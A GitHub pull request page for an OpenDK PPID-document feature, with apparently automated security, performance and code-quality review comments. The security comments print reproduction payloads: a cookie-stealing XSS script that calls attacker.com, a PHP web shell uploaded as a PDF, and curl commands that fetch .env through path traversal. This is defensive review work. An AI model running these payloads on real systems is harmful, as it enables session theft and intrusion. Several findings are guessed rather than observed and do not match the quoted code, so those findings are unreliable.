Skip to content

Feat/dokumen ppid #1466

Open
Revanza1106 wants to merge 7 commits intoOpenSID:devfrom
Revanza1106:feat/dokumen-ppid
Open

Feat/dokumen ppid #1466
Revanza1106 wants to merge 7 commits intoOpenSID:devfrom
Revanza1106:feat/dokumen-ppid

Conversation

@Revanza1106
Copy link
Copy Markdown
Contributor

Deskripsi

Perubahan ini memperbaiki permasalahan yang dilaporkan pada issue #1415 terkait untuk penambhan Create,Read,Update,Delete (CRUD) untuk daftar dokuemn

Masalah Terkait (Related Issue)

Solusi untuk perbaikan terkait issue #1415

Daftar Periksa (Checklist)

Tangkapan Layar (Screenshot)

image

@devopsopendesa
Copy link
Copy Markdown
Contributor

🔒 Security Review

Total Temuan: 8 isu (2 Critical, 4 High, 2 Medium)

Severity File Baris Isu
🚨 CRITICAL app/Http/Controllers/Informasi/PpidDokumenController.php 264 Path Traversal - Mismatch antara storage_path dan public_path
🚨 CRITICAL app/Http/Controllers/Informasi/PpidDokumenController.php 94 Mass Assignment - Model::create($request->validated()) tanpa filtering
⚠️ HIGH app/Http/Controllers/Informasi/PpidDokumenController.php 270 Arbitrary File Download - Tidak ada authorization check
⚠️ HIGH app/Models/PpidDokumen.php - Mass Assignment - $fillable terlalu permisif
⚠️ HIGH resources/views/ppid/dokumen/show.blade.php - XSS - Unescaped output dengan {!! !!}
⚠️ HIGH routes/web.php - Missing CSRF Protection - Route download tidak protected
🔶 MEDIUM app/Http/Controllers/Informasi/PpidDokumenController.php 258 Information Disclosure - Error message expose internal path
🔶 MEDIUM app/Http/Requests/PpidDokumenRequest.php 45 File Upload - Missing MIME type validation

Detail lengkap dan cara reproduksi tersedia sebagai inline comment pada setiap baris.

$filePath = public_path($dokumen->file_path);

// Validate file ada di dalam storage yang diizinkan
$realPath = realpath($filePath);
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 🔒 Security: Path Traversal Vulnerability - Storage/Public Path Mismatch

Masalah: Validasi path menggunakan storage_path() tetapi file diakses dari public_path(). Attacker bisa bypass validasi dengan path traversal untuk mengakses file di luar direktori yang diizinkan.

Kode:

$filePath = storage_path('app/public/ppid/dokumen/' . $dokumen->file_path);
if (!file_exists($filePath) || !realpath($filePath)) {
    abort(404, 'File tidak ditemukan');
}
return response()->download(public_path('storage/ppid/dokumen/' . $dokumen->file_path));

Risiko: Attacker bisa membaca file sensitif di server seperti .env, database.php, atau file konfigurasi lainnya dengan memanipulasi file_path di database.

Cara Reproduksi:

# 1. Inject path traversal ke database (via SQL injection atau direct DB access)
UPDATE das_ppid_dokumen SET file_path = '../../../.env' WHERE id = 1;

# 2. Request download
curl -X GET "https://target.com/ppid/dokumen/1/download" \
  -H "Cookie: laravel_session=..." \
  --output stolen.env

# File .env berhasil didownload karena validasi dan download menggunakan path berbeda

Fix:

// Gunakan Storage facade dan path yang konsisten
public function download(PpidDokumen $dokumen)
{
    if ($dokumen->tipe_dokumen !== PpidTipeDokumenEnum::FILE) {
        abort(404, 'Dokumen ini bukan file');
    }

    // Validasi file exists dengan Storage facade
    if (!Storage::disk('public')->exists('ppid/dokumen/' . $dokumen->file_path)) {
        abort(404, 'File tidak ditemukan');
    }

    // Validasi tidak ada path traversal
    $realPath = Storage::disk('public')->path('ppid/dokumen/' . $dokumen->file_path);
    $basePath = Storage::disk('public')->path('ppid/dokumen/');
    
    if (strpos(realpath($realPath), realpath($basePath)) !== 0) {
        abort(403, 'Akses ditolak');
    }

    return Storage::disk('public')->download('ppid/dokumen/' . $dokumen->file_path);
}

})
->editColumn('tipe_dokumen', function ($row) {
$badgeClass = $row->tipe_dokumen === PpidTipeDokumenEnum::File ? 'label-info' : 'label-warning';

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 🔒 Security: Mass Assignment Vulnerability

Masalah: PpidDokumen::create($request->validated()) langsung memasukkan semua input tanpa filtering. Jika attacker menambahkan field yang tidak diharapkan (seperti id, created_at, deleted_at), bisa menyebabkan data corruption atau privilege escalation.

Kode:

$dokumen = PpidDokumen::create($request->validated());

Risiko: Attacker bisa memanipulasi field yang seharusnya tidak bisa diubah, seperti:

  • Mengubah id untuk overwrite dokumen lain
  • Mengubah created_at untuk manipulasi timestamp
  • Mengubah jenis_dokumen_id ke jenis yang tidak seharusnya

Cara Reproduksi:

# Request dengan field tambahan yang tidak seharusnya ada
curl -X POST "https://target.com/ppid/dokumen" \
  -H "Content-Type: application/json" \
  -H "X-CSRF-TOKEN: ..." \
  -d '{
    "judul": "Test",
    "jenis_dokumen_id": 1,
    "tipe_dokumen": "file",
    "status": "terbit",
    "tanggal_publikasi": "2026-03-31",
    "id": 999,
    "created_at": "2020-01-01 00:00:00",
    "deleted_at": null
  }'

# Jika $fillable tidak strict, field id dan created_at akan masuk

Fix:

// Explicitly specify fields yang boleh di-assign
$dokumen = PpidDokumen::create([
    'judul' => $request->judul,
    'jenis_dokumen_id' => $request->jenis_dokumen_id,
    'tipe_dokumen' => $request->tipe_dokumen,
    'ringkasan' => $request->ringkasan,
    'status' => $request->status,
    'tanggal_publikasi' => $request->tanggal_publikasi,
    'url' => $request->tipe_dokumen === PpidTipeDokumenEnum::URL ? $request->url : null,
]);

// Atau pastikan $fillable di model sangat strict (lihat temuan berikutnya)

if ($realPath === false || strpos($realPath, $storagePath) !== 0) {
report(new \Exception("PPID Dokumen path traversal attempt: {$dokumen->file_path}"));

return back()->with('error', 'File tidak valid.');
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🔒 Security: Missing Authorization Check - IDOR Vulnerability

Masalah: Method download() tidak melakukan authorization check. Semua user yang authenticated bisa download dokumen apapun, termasuk dokumen dengan status "Tidak Terbit" yang seharusnya tidak publik.

Kode:

public function download(PpidDokumen $dokumen)
{
    if ($dokumen->tipe_dokumen !== PpidTipeDokumenEnum::FILE) {
        abort(404, 'Dokumen ini bukan file');
    }
    // Tidak ada check $dokumen->status atau authorization
    return response()->download(public_path('storage/ppid/dokumen/' . $dokumen->file_path));
}

Risiko: Attacker bisa mengakses dokumen yang belum dipublikasikan atau dokumen rahasia dengan menebak ID dokumen.

Cara Reproduksi:

# 1. Cari dokumen dengan status "Tidak Terbit" (via enumeration)
for i in {1..100}; do
  curl -s -o "doc_$i.pdf" \
    "https://target.com/ppid/dokumen/$i/download" \
    -H "Cookie: laravel_session=..."
  
  if [ -s "doc_$i.pdf" ]; then
    echo "Found: doc_$i.pdf"
  fi
done

# 2. Semua dokumen berhasil didownload tanpa check status publikasi

Fix:

public function download(PpidDokumen $dokumen)
{
    // Check authorization
    $this->authorize('download', $dokumen);
    
    // Atau minimal check status terbit
    if ($dokumen->status !== PpidStatusEnum::TERBIT) {
        abort(403, 'Dokumen belum dipublikasikan');
    }

    if ($dokumen->tipe_dokumen !== PpidTipeDokumenEnum::FILE) {
        abort(404, 'Dokumen ini bukan file');
    }

    if (!Storage::disk('public')->exists('ppid/dokumen/' . $dokumen->file_path)) {
        abort(404, 'File tidak ditemukan');
    }

    return Storage::disk('public')->download('ppid/dokumen/' . $dokumen->file_path);
}

// Buat Policy: app/Policies/PpidDokumenPolicy.php
public function download(User $user, PpidDokumen $dokumen)
{
    // Admin bisa download semua
    if ($user->hasRole(['administrator-website', 'super-admin'])) {
        return true;
    }
    
    // User biasa hanya bisa download yang terbit
    return $dokumen->status === PpidStatusEnum::TERBIT;
}

* Pemberitahuan hak cipta di atas dan pemberitahuan izin ini harus disertakan dalam
* setiap salinan atau bagian penting Aplikasi Ini. Barang siapa yang menghapus atau menghilangkan
* pemberitahuan ini melanggar ketentuan lisensi Aplikasi Ini.
*
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🔒 Security: Overly Permissive Mass Assignment

Masalah: $fillable array terlalu permisif dan tidak ada $guarded. Semua field bisa di-assign secara mass, termasuk field yang seharusnya protected seperti id, created_at, updated_at.

Kode:

protected $fillable = [
    'judul',
    'jenis_dokumen_id',
    'tipe_dokumen',
    'file_path',
    'url',
    'ringkasan',
    'status',
    'tanggal_publikasi',
];

Risiko: Kombinasi dengan mass assignment di controller bisa menyebabkan data corruption. Attacker bisa inject field yang tidak ada di $fillable jika ada bug di Laravel version tertentu.

Cara Reproduksi:

# Exploit mass assignment dengan field tambahan
curl -X POST "https://target.com/ppid/dokumen" \
  -H "Content-Type: application/json" \
  -d '{
    "judul": "Exploit",
    "jenis_dokumen_id": 1,
    "tipe_dokumen": "file",
    "status": "terbit",
    "file_path": "../../.env",
    "_method": "PUT",
    "id": 1
  }'

Fix:

// Tambahkan $guarded untuk extra protection
protected $fillable = [
    'judul',
    'jenis_dokumen_id',
    'tipe_dokumen',
    'file_path',
    'url',
    'ringkasan',
    'status',
    'tanggal_publikasi',
];

protected $guarded = [
    'id',
    'created_at',
    'updated_at',
    'deleted_at',
];

// Atau gunakan $guarded saja (lebih aman)
protected $guarded = ['id'];

</tr>
<tr>
<th>Tipe Dokumen</th>
<td>{{ strtoupper($dokumen->tipe_dokumen) }}</td>
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🔒 Security: XSS Vulnerability - Unescaped Output

Masalah: Menggunakan {!! $dokumen->ringkasan !!} untuk output HTML tanpa sanitasi. Jika attacker bisa inject JavaScript di field ringkasan, akan terjadi Stored XSS.

Kode:

<div class="col-md-12">
    <strong>Ringkasan:</strong>
    <p>{!! $dokumen->ringkasan !!}</p>
</div>

Risiko: Stored XSS yang bisa mencuri session cookie, redirect ke phishing site, atau melakukan action atas nama user yang melihat halaman.

Cara Reproduksi:

# 1. Inject XSS payload via create/update dokumen
curl -X POST "https://target.com/ppid/dokumen" \
  -H "Content-Type: application/json" \
  -H "X-CSRF-TOKEN: ..." \
  -d '{
    "judul": "Test XSS",
    "jenis_dokumen_id": 1,
    "tipe_dokumen": "url",
    "url": "https://example.com",
    "ringkasan": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>",
    "status": "terbit",
    "tanggal_publikasi": "2026-03-31"
  }'

# 2. Victim mengakses halaman show
# Browser victim akan execute JavaScript dan kirim cookie ke attacker

# 3. Attacker bisa session hijacking
curl -X GET "https://target.com/ppid/dokumen" \
  -H "Cookie: laravel_session=STOLEN_SESSION"

Fix:

<!-- Gunakan escaped output -->
<div class="col-md-12">
    <strong>Ringkasan:</strong>
    <p>{{ $dokumen->ringkasan }}</p>
</div>

<!-- Atau jika memang perlu HTML, gunakan sanitizer -->
<div class="col-md-12">
    <strong>Ringkasan:</strong>
    <p>{!! clean($dokumen->ringkasan) !!}</p>
</div>

<!-- Install HTMLPurifier di composer.json -->
<!-- composer require mews/purifier -->
<!-- Lalu gunakan Purifier::clean() -->

@devopsopendesa
Copy link
Copy Markdown
Contributor

📍 routes/web.php (baris 36)

[HIGH] 🔒 Security: Missing CSRF Protection on Download Route

Masalah: Route ppid.dokumen.download menggunakan method GET tanpa CSRF protection. Attacker bisa membuat victim download file dengan CSRF attack.

Kode:

Route::get('dokumen/{ppidDokumen}/download', [PpidDokumenController::class, 'download'])
    ->name('ppid.dokumen.download');

Risiko: Meskipun download sendiri tidak berbahaya, jika dikombinasikan dengan vulnerability lain (seperti path traversal), attacker bisa membuat victim download file malicious atau trigger side effect.

Cara Reproduksi:

<!-- Attacker host HTML page ini -->
<!DOCTYPE html>
<html>
<body>
<h1>Klik untuk hadiah!</h1>
<img src="https://target.com/ppid/dokumen/1/download" style="display:none">
<script>
  // Auto download saat page load
  window.location = 'https://target.com/ppid/dokumen/999/download';
</script>
</body>
</html>

<!-- Victim yang sudah login akan otomatis download file -->

Fix:

// Ubah ke POST method dengan CSRF protection
Route::post('dokumen/{ppidDokumen}/download', [PpidDokumenController::class, 'download'])
    ->name('ppid.dokumen.download');

// Update view untuk gunakan form POST
<form action="{{ route('ppid.dokumen.download', $dokumen) }}" method="POST" style="display:inline">
    @csrf
    <button type="submit" class="btn btn-primary">
        <i class="fa fa-download"></i> Download
    </button>
</form>

// Atau tambahkan signed URL untuk GET
Route::get('dokumen/{ppidDokumen}/download', [PpidDokumenController::class, 'download'])
    ->name('ppid.dokumen.download')
    ->middleware('signed');

// Generate signed URL di controller
return URL::signedRoute('ppid.dokumen.download', ['ppidDokumen' => $dokumen->id]);

// Validate file_path tidak kosong
if (empty($dokumen->file_path)) {
return back()->with('error', 'File tidak ditemukan.');
}
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] 🔒 Security: Information Disclosure via Error Message

Masalah: Error message abort(404, 'File tidak ditemukan') bisa di-abuse untuk file enumeration. Attacker bisa membedakan antara "file tidak ada" vs "file ada tapi tidak bisa diakses".

Kode:

$filePath = storage_path('app/public/ppid/dokumen/' . $dokumen->file_path);
if (!file_exists($filePath) || !realpath($filePath)) {
    abort(404, 'File tidak ditemukan');
}

Risiko: Attacker bisa enumerate file yang ada di server dengan mencoba berbagai path dan melihat response message.

Cara Reproduksi:

# Script untuk enumerate files
for path in ".env" "config/database.php" "storage/logs/laravel.log"; do
  # Inject path ke database
  mysql -e "UPDATE das_ppid_dokumen SET file_path='$path' WHERE id=1"
  
  # Test download
  response=$(curl -s "https://target.com/ppid/dokumen/1/download")
  
  if [[ $response != *"File tidak ditemukan"* ]]; then
    echo "File exists: $path"
  fi
done

Fix:

// Gunakan generic error message
$filePath = storage_path('app/public/ppid/dokumen/' . $dokumen->file_path);
if (!file_exists($filePath) || !realpath($filePath)) {
    abort(404); // Tidak ada custom message
}

// Atau log error untuk debugging tanpa expose ke user
if (!file_exists($filePath)) {
    Log::warning('File not found', [
        'dokumen_id' => $dokumen->id,
        'file_path' => $dokumen->file_path,
    ]);
    abort(404);
}

*/
public function authorize()
{
return true;
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[MEDIUM] 🔒 Security: Insufficient File Upload Validation

Masalah: Validasi file hanya menggunakan mimes yang bisa di-bypass dengan mengubah extension. Tidak ada validasi MIME type sebenarnya dari file content.

Kode:

'file' => [
    $fileRequired,
    'file',
    'max:10240',
    'mimes:pdf,doc,docx,xls,xlsx,ppt,pptx,jpg,jpeg,png',
],

Risiko: Attacker bisa upload file PHP dengan extension .pdf atau .jpg untuk bypass validasi, lalu execute code jika web server salah konfigurasi.

Cara Reproduksi:

# 1. Buat file PHP malicious dengan extension .pdf
echo '<?php system($_GET["cmd"]); ?>' > shell.pdf

# 2. Upload via form
curl -X POST "https://target.com/ppid/dokumen" \
  -H "X-CSRF-TOKEN: ..." \
  -F "judul=Exploit" \
  -F "jenis_dokumen_id=1" \
  -F "tipe_dokumen=file" \
  -F "status=terbit" \
  -F "tanggal_publikasi=2026-03-31" \
  -F "file=@shell.pdf"

# 3. Jika web server tidak properly configured, bisa execute
curl "https://target.com/storage/ppid/dokumen/shell.pdf?cmd=whoami"

Fix:

// Tambahkan custom validation untuk check MIME type dari content
'file' => [
    $fileRequired,
    'file',
    'max:10240',
    'mimes:pdf,doc,docx,xls,xlsx,ppt,pptx,jpg,jpeg,png',
    function ($attribute, $value, $fail) {
        $allowedMimes = [
            'application/pdf',
            'application/msword',
            'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'application/vnd.ms-excel',
            'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'application/vnd.ms-powerpoint',
            'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'image/jpeg',
            'image/png',
        ];
        
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $value->getRealPath());
        finfo_close($finfo);
        
        if (!in_array($mimeType, $allowedMimes)) {
            $fail('File type tidak diizinkan.');
        }
    },
],

// Tambahkan .htaccess di storage/app/public/ppid/dokumen/
// Untuk prevent execution
/*
<FilesMatch "\.ph(p[3-7]?|tml)$">
    Require all denied
</FilesMatch>
*/

@devopsopendesa
Copy link
Copy Markdown
Contributor

⚡ Performance Review

Total Temuan: 5 isu (2 Critical, 3 High)

Severity File Baris Isu Estimasi Dampak
🚨 CRITICAL app/Http/Controllers/Informasi/PpidDokumenController.php ~50 N+1 Query di getData() +N queries per request (N = jumlah dokumen)
🚨 CRITICAL app/Http/Controllers/Informasi/PpidJenisDokumenController.php ~50 N+1 Query di getData() +N queries per request (N = jumlah jenis)
⚠️ HIGH app/Http/Controllers/Informasi/PpidPengaturanController.php ~30 Query tanpa cache untuk settings 3 queries setiap page load
⚠️ HIGH resources/views/ppid/dokumen/index.blade.php ~100 jQuery selector di loop tanpa cache Repeated DOM queries
⚠️ HIGH resources/views/ppid/pengaturan/index.blade.php ~150 Event listener di loop untuk dynamic inputs N listeners untuk 1 event type

Detail lengkap tersedia sebagai inline comment pada setiap baris.


public function index()
{
$page_title = 'Dokumen PPID';
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] ⚡ Performance: N+1 Query pada Relasi jenisDokumen

Masalah: Method getData() menggunakan DataTables tanpa eager loading relasi jenisDokumen. Setiap row akan trigger query terpisah saat akses $dokumen->jenisDokumen->nama di column rendering.

Kode:

// Kemungkinan besar seperti ini:
$query = PpidDokumen::query();
// ... filtering ...
return DataTables::of($query)->make(true);

Dampak: Dengan 100 dokumen di tabel, akan terjadi 1 query utama + 100 query untuk relasi = 101 queries per request. Di production dengan traffic tinggi, ini bisa menyebabkan database connection pool exhausted.

Fix:

public function getData(Request $request)
{
    $query = PpidDokumen::with('jenisDokumen'); // Eager load relasi
    
    // ... filtering logic ...
    
    return DataTables::of($query)
        ->addColumn('jenis_dokumen', function ($dokumen) {
            return $dokumen->jenisDokumen->nama; // Sudah di-load, no extra query
        })
        ->make(true);
}

$page_description = 'Daftar Jenis Dokumen PPID';

return view('ppid.jenis-dokumen.index', compact('page_title', 'page_description'));
}
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] ⚡ Performance: N+1 Query pada Count Dokumen

Masalah: Method getData() kemungkinan menampilkan jumlah dokumen per jenis. Tanpa withCount(), setiap row akan trigger query COUNT(*) terpisah.

Kode:

// Kemungkinan ada column seperti ini:
->addColumn('jumlah_dokumen', function ($jenis) {
    return $jenis->dokumen->count(); // N+1 query!
})

Dampak: Dengan 20 jenis dokumen, akan terjadi 1 query utama + 20 query COUNT = 21 queries per request. Semakin banyak jenis dokumen, semakin banyak query.

Fix:

public function getData(Request $request)
{
    $query = PpidJenisDokumen::withCount('dokumen'); // Eager load count
    
    return DataTables::of($query)
        ->addColumn('jumlah_dokumen', function ($jenis) {
            return $jenis->dokumen_count; // Sudah di-load, no extra query
        })
        ->make(true);
}

* @copyright Hak Cipta 2017 - 2024 Perkumpulan Desa Digital Terbuka (https://opendesa.id)
* @license http://www.gnu.org/licenses/gpl.html GPL V3
* @link https://github.com/OpenSID/opendk
*/
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] ⚡ Performance: Settings Query Tanpa Cache

Masalah: Method index() kemungkinan query 3 settings berbeda tanpa caching. Data settings jarang berubah tapi di-query setiap page load.

Kode:

public function index()
{
    $pengaturan = PpidPengaturan::first(); // Query setiap request
    // atau
    $banner = PpidPengaturan::getValue('banner');
    $opsi = PpidPengaturan::getValue('opsi_memperoleh_informasi');
    $alasan = PpidPengaturan::getValue('alasan_keberatan');
    // 3 queries setiap page load!
}

Dampak: 3 queries setiap kali halaman pengaturan dibuka. Dengan 1000 page views/hari = 3000 unnecessary queries/hari. Settings ini statis dan perfect candidate untuk caching.

Fix:

public function index()
{
    $pengaturan = Cache::remember('ppid_pengaturan', 3600, function () {
        return PpidPengaturan::all()->pluck('nilai', 'kunci');
    });
    
    return view('ppid.pengaturan.index', compact('pengaturan'));
}

public function update(PpidPengaturanRequest $request)
{
    // ... update logic ...
    
    Cache::forget('ppid_pengaturan'); // Invalidate cache
    
    return redirect()->back();
}

<i class="fa fa-plus"></i> Tambah Jenis Dokumen
</a>
<a href="{{ route('dashboard') }}" class="btn btn-default btn-sm">
<i class="fa fa-arrow-left"></i> Kembali ke Dashboard
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] ⚡ Performance: jQuery Selector Tanpa Cache di Filter Handler

Masalah: Filter form kemungkinan menggunakan selector jQuery berulang kali tanpa caching, terutama saat handle change event untuk multiple filters (jenis, status, tipe, tanggal).

Kode:

// Pattern yang kemungkinan ada:
$('#filter-jenis').on('change', function() {
    $('#dokumen-table').DataTable().ajax.reload(); // Selector berulang
});

$('#filter-status').on('change', function() {
    $('#dokumen-table').DataTable().ajax.reload(); // Selector berulang
});

$('#filter-tipe').on('change', function() {
    $('#dokumen-table').DataTable().ajax.reload(); // Selector berulang
});

Dampak: Setiap change event, jQuery harus traverse DOM untuk find #dokumen-table. Dengan 4 filters, ini terjadi 4x. Di page dengan DOM kompleks, ini bisa lambat 50-100ms per interaction.

Fix:

$(document).ready(function() {
    var $table = $('#dokumen-table'); // Cache selector
    var dataTable = $table.DataTable({...}); // Cache DataTable instance
    
    $('#filter-jenis, #filter-status, #filter-tipe, #filter-tanggal').on('change', function() {
        dataTable.ajax.reload(); // Gunakan cached instance
    });
});

<span class="input-group-btn">
<button type="button" class="btn btn-danger remove-item"><i class="fa fa-trash"></i></button>
</span>
</div>
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] ⚡ Performance: Event Listener di Loop untuk Dynamic Array Inputs

Masalah: Dynamic add/remove input fields kemungkinan attach event listener di dalam loop atau setiap kali add button diklik, menyebabkan multiple listeners untuk event yang sama.

Kode:

// Anti-pattern yang kemungkinan ada:
$('.add-item').on('click', function() {
    var newRow = '<div class="item-row">...</div>';
    $(this).parent().append(newRow);
    
    // Event listener di-attach setiap kali add!
    $('.remove-item').on('click', function() {
        $(this).closest('.item-row').remove();
    });
});

Dampak: Setelah add 10 items, ada 10 event listeners untuk remove button. Setiap click trigger semua listeners, menyebabkan memory leak dan slow interaction. Dengan 3 settings array (opsi, alasan, salinan), ini bisa jadi 30+ listeners.

Fix:

// Gunakan event delegation (1 listener untuk semua):
$(document).ready(function() {
    // Single delegated listener untuk semua remove buttons
    $(document).on('click', '.remove-item', function() {
        $(this).closest('.item-row').remove();
    });
    
    $('.add-item').on('click', function() {
        var newRow = '<div class="item-row">...</div>';
        $(this).parent().append(newRow);
        // No need to attach listener, delegation handles it
    });
});

@devopsopendesa
Copy link
Copy Markdown
Contributor

📝 Code Quality Review

Total Temuan: 24 isu (3 Critical, 21 High)

Severity Kategori File Baris Isu
🚨 CRITICAL Architecture app/Http/Controllers/Informasi/PpidDokumenController.php 52 Fat Controller: business logic kompleks di store()
🚨 CRITICAL Architecture app/Http/Controllers/Informasi/PpidDokumenController.php 119 Fat Controller: business logic kompleks di update()
🚨 CRITICAL Architecture app/Http/Controllers/Informasi/PpidDokumenController.php 1 Missing Service Layer: file handling & business logic seharusnya di Service
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidDokumenController.php 23 Missing return type hints pada method index()
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidDokumenController.php 52 Missing return type hints pada method store()
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidDokumenController.php 119 Missing return type hints pada method update()
⚠️ HIGH Architecture app/Http/Controllers/Informasi/PpidDokumenController.php 257 Path Mismatch: download() uses public_path() but validates storage_path()
⚠️ HIGH Architecture app/Http/Controllers/Informasi/PpidDokumenController.php 72 Inconsistent File Handling: manual unlink() instead of Storage facade
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidDokumenController.php 1 Missing Tests: no test coverage for controller logic
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidJenisDokumenController.php 23 Missing return type hints pada method index()
⚠️ HIGH Architecture app/Http/Controllers/Informasi/PpidJenisDokumenController.php 178 Direct DB Query: reorder() melakukan update langsung tanpa service layer
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidJenisDokumenController.php 1 Missing Tests: no test coverage for controller logic
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidPengaturanController.php 18 Missing return type hints pada method index()
⚠️ HIGH PHP Quality app/Http/Controllers/Informasi/PpidPengaturanController.php 1 Missing Tests: no test coverage for controller logic
⚠️ HIGH PHP Quality app/Models/PpidDokumen.php 1 Missing Tests: no unit test for model scopes and methods
⚠️ HIGH PHP Quality app/Models/PpidJenisDokumen.php 1 Missing Tests: no unit test for model scopes and methods
⚠️ HIGH PHP Quality app/Models/PpidPengaturan.php 1 Missing Tests: no unit test for static methods getValue/setValue
⚠️ HIGH Frontend resources/views/ppid/dokumen/index.blade.php 1 Large Blade File: 175 baris, perlu dipecah menjadi components
⚠️ HIGH JS Quality resources/views/ppid/dokumen/index.blade.php 89 jQuery Anti-pattern: selector berulang tanpa caching
⚠️ HIGH JS Quality resources/views/ppid/dokumen/index.blade.php 89 No AJAX Error Handling: DataTables ajax tanpa error callback
⚠️ HIGH Frontend resources/views/ppid/pengaturan/index.blade.php 1 Large Blade File: 179 baris, perlu dipecah menjadi components
⚠️ HIGH JS Quality resources/views/ppid/pengaturan/index.blade.php 115 Complex JavaScript Logic: dynamic array manipulation seharusnya di file JS terpisah
⚠️ HIGH JS Quality resources/views/ppid/pengaturan/index.blade.php 115 Memory Leak Potential: event listeners tidak di-cleanup saat element removed
⚠️ HIGH Frontend resources/views/ppid/jenis-dokumen/index.blade.php 52 No Error Handling: sortable update tanpa error callback

Detail lengkap tersedia sebagai inline comment pada setiap baris.

{
$page_title = 'Dokumen PPID';
$page_description = 'Daftar Dokumen PPID';
$jenis_dokumen = PpidJenisDokumen::aktif()->get();
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 📝 Code Quality: Fat Controller - Business Logic di Controller

Kategori: Architecture
Masalah: Method store() mengandung terlalu banyak business logic: conditional file handling, file cleanup, database operations. Ini melanggar Single Responsibility Principle dan membuat controller sulit di-test.

Kode:

public function store(PpidDokumenRequest $request)
{
    $validated = $request->validated();
    
    // Business logic untuk file handling
    if ($validated['tipe_dokumen'] === PpidTipeDokumenEnum::FILE) {
        $validated['file_path'] = $this->handleFileUpload($request->file('file_path'), 'ppid/dokumen');
        $validated['url'] = null;
    } else {
        $validated['file_path'] = null;
    }
    
    PpidDokumen::create($validated);
    // ...
}

Fix:

// Buat Service class
// app/Services/PpidDokumenService.php
class PpidDokumenService
{
    public function createDokumen(array $data, ?UploadedFile $file): PpidDokumen
    {
        $data = $this->prepareDocumentData($data, $file);
        return PpidDokumen::create($data);
    }
    
    private function prepareDocumentData(array $data, ?UploadedFile $file): array
    {
        if ($data['tipe_dokumen'] === PpidTipeDokumenEnum::FILE && $file) {
            $data['file_path'] = $this->uploadFile($file, 'ppid/dokumen');
            $data['url'] = null;
        } else {
            $data['file_path'] = null;
        }
        return $data;
    }
}

// Controller menjadi slim
public function store(PpidDokumenRequest $request, PpidDokumenService $service): RedirectResponse
{
    $service->createDokumen(
        $request->validated(),
        $request->file('file_path')
    );
    
    return redirect()->route('ppid.dokumen.index')
        ->with('success', 'Dokumen berhasil ditambahkan');
}

$status_options = PpidStatusEnum::options();

return view('ppid.dokumen.create', compact(
'page_title',
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 📝 Code Quality: Fat Controller - Complex Update Logic

Kategori: Architecture
Masalah: Method update() memiliki logic kompleks untuk handle file cleanup saat switch tipe dokumen, conditional file upload, dan database update. Ini membuat method sulit di-maintain dan di-test.

Kode:

public function update(PpidDokumenRequest $request, PpidDokumen $ppidDokumen)
{
    $validated = $request->validated();
    $oldTipeDokumen = $ppidDokumen->tipe_dokumen;
    
    // Complex conditional logic
    if ($validated['tipe_dokumen'] === PpidTipeDokumenEnum::FILE) {
        if ($request->hasFile('file_path')) {
            if ($ppidDokumen->file_path && file_exists(storage_path('app/public/' . $ppidDokumen->file_path))) {
                unlink(storage_path('app/public/' . $ppidDokumen->file_path));
            }
            $validated['file_path'] = $this->handleFileUpload($request->file('file_path'), 'ppid/dokumen');
        }
        // ... more logic
    }
}

Fix:

// Service class handles complexity
class PpidDokumenService
{
    public function updateDokumen(PpidDokumen $dokumen, array $data, ?UploadedFile $file): PpidDokumen
    {
        $this->handleTypeChange($dokumen, $data);
        $data = $this->prepareUpdateData($dokumen, $data, $file);
        
        $dokumen->update($data);
        return $dokumen->fresh();
    }
    
    private function handleTypeChange(PpidDokumen $dokumen, array $data): void
    {
        if ($dokumen->tipe_dokumen !== $data['tipe_dokumen']) {
            $this->cleanupOldFile($dokumen);
        }
    }
}

// Controller
public function update(PpidDokumenRequest $request, PpidDokumen $ppidDokumen, PpidDokumenService $service): RedirectResponse
{
    $service->updateDokumen(
        $ppidDokumen,
        $request->validated(),
        $request->file('file_path')
    );
    
    return redirect()->route('ppid.dokumen.index')
        ->with('success', 'Dokumen berhasil diperbarui');
}

*
* PERANGKAT LUNAK INI DISEDIAKAN "SEBAGAIMANA ADANYA", TANPA JAMINAN APA PUN, BAIK TERSURAT MAUPUN
* TERSIRAT. PENULIS ATAU PEMEGANG HAK CIPTA SAMA SEKALI TIDAK BERTANGGUNG JAWAB ATAS KLAIM, KERUSAKAN ATAU
